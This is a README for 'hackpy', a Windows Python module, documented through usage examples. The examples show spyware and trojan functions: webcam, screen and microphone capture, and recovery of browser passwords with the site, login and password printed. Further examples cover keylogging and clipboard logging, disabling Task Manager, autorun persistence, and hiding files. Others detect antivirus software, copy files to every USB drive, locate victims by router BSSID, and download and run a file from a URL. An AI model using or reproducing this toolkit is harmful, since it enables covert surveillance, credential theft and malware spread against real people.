pip install hackpy
💣
Example usage:
# Warning! This module working only on Windows systems!
# Import module
import hackpy
Get user and system information
print(
'\nWelcome to HackPy 0.1.6\n' +
'\nUsername: ' + hackpy.userInfo +
'\nVersion: ' + hackpy.versionInfo +
'\nRelease: ' + hackpy.releaseInfo +
'\nSystem: ' + hackpy.systemInfo +
'\nNode: ' + hackpy.nodeInfo +
'\nMachine: ' + hackpy.machineInfo +
'\nProcessor: ' + hackpy.processorInfo +
'\nPlatform: ' + hackpy.platformInfo +
'\nArchitecture: ' + hackpy.architectureInfo[0]
)
Webcam screenshot
hackpy.webcamScreenshot(filename = 'screenshot.png', delay = 4500, camera = 1)
Desktop screenshot
hackpy.desktopScreenshot(filename = 'desktop.png')
Record audio from microphone
# Save audio record to file recording.wav, 20 secounds
hackpy.recordAudio(filename = 'recording.wav', time = 20)
Passwords recovery
Get passwords from Chrome, Opera, Chromium, Amigo, Atom, Vivaldo, Orbitum, Kometa, Comodo, 360Browser, K-Melon, Maxthon3, Nichrome, CocCoc, Uran, Chromodo browsers..
from hackpy.passwords import *
for key, account in passwordsRecovery():
print(
'\n[' + str(key) + ']'
'\n |____ SITE: ' + account['url'] +
'\n |____ USER: ' + account['login'] +
'\n |____ PASS: ' + account['password']
)
TaskManager
# If process iexplore.exe found:
if hackpy.taskmanager('iexplore.exe').find():
# Stop iexplore.exe process
hackpy.taskmanager('iexplore.exe').kill()
# start firefox.exe process
hackpy.taskmanager('firefox.exe').start()
# Return dictonary with all processes
for process in hackpy.taskmanager.list():
print(process)
# Get PID of process
pid = hackpy.taskmanager.getpid('firefox.exe')
# Disable windows taskmgr.exe
hackpy.taskmanager.disable()
# Enable windows taskmgr.exe
hackpy.taskmanager.enable()
Autorun
# Add cmd.exe to startup
hackpy.autorun('C:\\Windows\\System32\\cmd.exe').install()
# Remove cmd.exe from startup
hackpy.autorun('C:\\Windows\\System32\\cmd.exe').uninstall()
Key Logger
# Log all pressed keys. Format: (DATE) - [PROGRAM TITLE] - "keys"
from hackpy.keyboard import *
keylogger = Keylogger(filename = 'keylogs.txt')
# Start logger
keylogger.start()
# Stop logger
keylogger.stop()
# Show logger logs
for line in keylogger.getLogs():
print(line)
# Delete logs file
keylogger.cleanLogs()
Clipboard Logger
# Log all clipboard changes. Format: (DATE) - [PROGRAM TITLE] - "Clipboard text"
cliplogger = hackpy.clipboard.Clipboardlogger('clipboardlogger.txt')
# Start logger
cliplogger.start()
# Stop logger
cliplogger.stop()
# Show logs
for line in cliplogger.getLogs():
print(line)
# Delete logs file
cliplogger.cleanLogs()
Program Activity Logger
# Log all opened program titles. Format: (DATE) - "Program title"
from hackpy.activity import *
activitylogger = ProgramActivitylogger('programActivityLogger.txt')
# Start logger
activitylogger.start()
# Stop logger
activitylogger.stop()
# Show logs
for line in activitylogger.getLogs():
print(line)
# Delete logs file
activitylogger.cleanLogs()
Check if program running as admin
if (hackpy.isAdmin()): # return True if program started as admin
print('Program started as admin! Loading cmd.exe')
status = hackpy.file.startAsAdmin('cmd.exe') # return true in [0] if all is okay and message in [1]
print('Okay, debugMessage:', status[1])
else:
print('Program started as user!')
Simple file control
filemanager = hackpy.file
filemanager.getsize('file.txt') # Return file size in bytes
filemanager.exists('file.txt') # Return True or False
filemanager.remove('file.txt') # Remove file
filemanager.rmtree('dir1\\dir2\\dir3') # Remove dirs
filemanager.rename('file.txt', 'newfile.txt') # Rename file
filemanager.copy('file.txt', 'C:\\Windows') # Copy file
filemanager.scan('C:\\') # Return all files in directory
filemanager.start('file.txt') # Start file
filemanager.startAsAdmin('file.txt') # Start file as admin
filemanager.atributeHidden('file.txt') # Hide file
filemanager.atributeNormal('file.txt') # Show file
# Get files tree. (You can use tree('.') to get files tree in current directory)
for file in filemanager.tree('C:\\'):
print(file)
Detect installed antivirus software on computer:
data = hackpy.detectProtection()
for antivirus in data:
print('[!] - Antivirus detected: ' + antivirus + ', install path: ' + data[antivirus])
UsbSpread
print('Copying file to all drives...') # Need Admin Rights
success_drives = hackpy.usbSpread('file.txt') # Returns a list of drives to which the file was copied successfully
for drive in success_drives:
print('Successfully copied to: ' + drive)
Ping
target = 'google.com'
if hackpy.ping(target): # return True if target is online
print(target + ' is online!')
else:
print('Failed to connect!') # return False if target not found
Get ip by url
target = 'google.com'
ip = hackpy.getHostByName(target) # return '172.217.16.14'
print('IP: ' + ip)
Get mac address by local ip
target = '192.168.1.1'
mac = hackpy.getmac(target) # return 'XX:XX:XX:XX:XX:XX'
print('mac: ' + mac)
Port scanner
target = 'youtube.com'
port = '80'
if hackpy.portIsOpen(target, port):
print('Port ' + port + ' is opened!')
else:
print('Port ' + port + ' is closed!')
Information about you IP:
data = hackpy.whois()
print('[?] - You IP is: ' + data['query'])
print('[?] - You live in: ' + data['country'] + ', country code: ' + data['countryCode'])
# Return dict: {"query", "status", "country", "countryCode", "region", "regionName", "city", "zip", "lat", "lon", "timezone", "isp", "org", "as", "local"}
# Information about other IP:
data = hackpy.whois('216.58.215.110')
print('[?] - Other Information about IP:\n' + str(data))
# Return dict: {"query", "status", "country", "countryCode", "region", "regionName", "city", "zip", "lat", "lon", "timezone", "isp", "org", "as"}
# Get geodata about you IP:
data = hackpy.geoplugin()
print('[?] - Latitude: ' + data['geoplugin_latitude'])
# Return dict: {"geoplugin_request", "geoplugin_status", "geoplugin_delay", "geoplugin_credit", "geoplugin_city", "geoplugin_region", "geoplugin_regionCode", "geoplugin_regionName", "geoplugin_areaCode", "geoplugin_dmaCode", "geoplugin_countryCode", "geoplugin_countryName", "geoplugin_inEU", "geoplugin_euVATrate", "geoplugin_continentCode", "geoplugin_continentName", "geoplugin_latitude", "geoplugin_longitude", "geoplugin_locationAccuracyRadius", "geoplugin_timezone", "geoplugin_currencyCode", "geoplugin_currencySymbol", "geoplugin_currencySymbol_UTF8", "geoplugin_currencyConverter"}
Get router bssid:
# Get router BSSID
bssid_string = hackpy.router()
# Find LATITUDE and LONGITUDE with router BSSID:
data = hackpy.bssid_locate(bssid_string)
print(
'RANGE : ' + str(data['range']) + '\n' +
'LATITUDE : ' + str(data['lat']) + '\n' +
'LONGITUDE : ' + str(data['lon']) + '\n'
)
Windows messagebox:
# MB_OK
# MB_OK_CANCEL
# MB_ABORTRETRYIGNORE
# MB_YES_NO_CANCEL
# MB_YES_NO
# MB_RETRYCANCEL
# MB_CANCELTRYCONTINUE
# MB_HELP
# ICON_ERROR
# ICON_QUESTION
# ICON_WARNING
# ICON_INFORMATION
# MB_TOPMOST
hackpy.messagebox('text', 'title')
hackpy.messagebox('text', 'title', settings=['ICON_WARNING', 'MB_RETRYCANCEL', 'MB_TOPMOST'])
Change desktop wallpaper:
image = 'C:\\users\\Admin\\wallpaper.png'
hackpy.setWallpaper(image) # BETA
Nircmdc commands
# You can run nircmdc commands in python
hackpy.command.nircmdc('monitor off')
hackpy.command.nircmdc('speak text \"HAHAHAHAHHAH IM FIND YOU!\"')
# Nircmdc reference: https://nircmd.nirsoft.net
System commands
hackpy.command.system('shutdown -s -t 260')
Mouse, Windows control
import hackpy.activity
hackpy.activity.getActiveWindow() # Return active window title
hackpy.activity.userIsActive() # return True if user move mouse. Return False if not | BETA!!!
hackpy.activity.setCursorPos(100, 100) # x, y
hackpy.activity.getCursorPos() # return x, y
Time
import hackpy.time as time
# Get first time
firstTime = time.time()
# Sleep program for 3 secounds
time.sleep(3)
# Get last time
secondTime = time.time()
print('Code executed. Time elapsed: ' + str(round(secondTime - firstTime)) + ' secounds.')
# Get current time
time.date.day() # day, month, year, hour, minute, secound and all.
print('Now ' + time.date.year() + ' year!')
SendKeyPress:
from hackpy.keyboard import *
keyPress('Hello bro{ENTER}')
# Other keys: https://pastebin.com/Ns3P7UiH
Clipboard
# Get text from clipboard:
data = hackpy.clipboard.get()
print('Text in clipboard is ' + data)
# Set text to clipboard:
hackpy.clipboard.set('Hello from LimerBoy and HackPy!!')
Download python and install it:
# Check if python installed on system. False - not installed, True - installed.
if not hackpy.python.check():
print('Python is not installed, trying to install!')
# Default version is 3.7.0 and install path is C:\python37
hackpy.python.install('3.6.0', path = 'C:\\python36')
else:
print('Python is installed!')
Load and run file from internet
# Download file
file = hackpy.wget(url)
# Start file
hackpy.file.start(file)
Power
hackpy.power.reboot() # Reboot
hackpy.power.shutdown() # Shutdown
hackpy.power.logoff() # Logoff
hackpy.power.hibernate() # Hibernate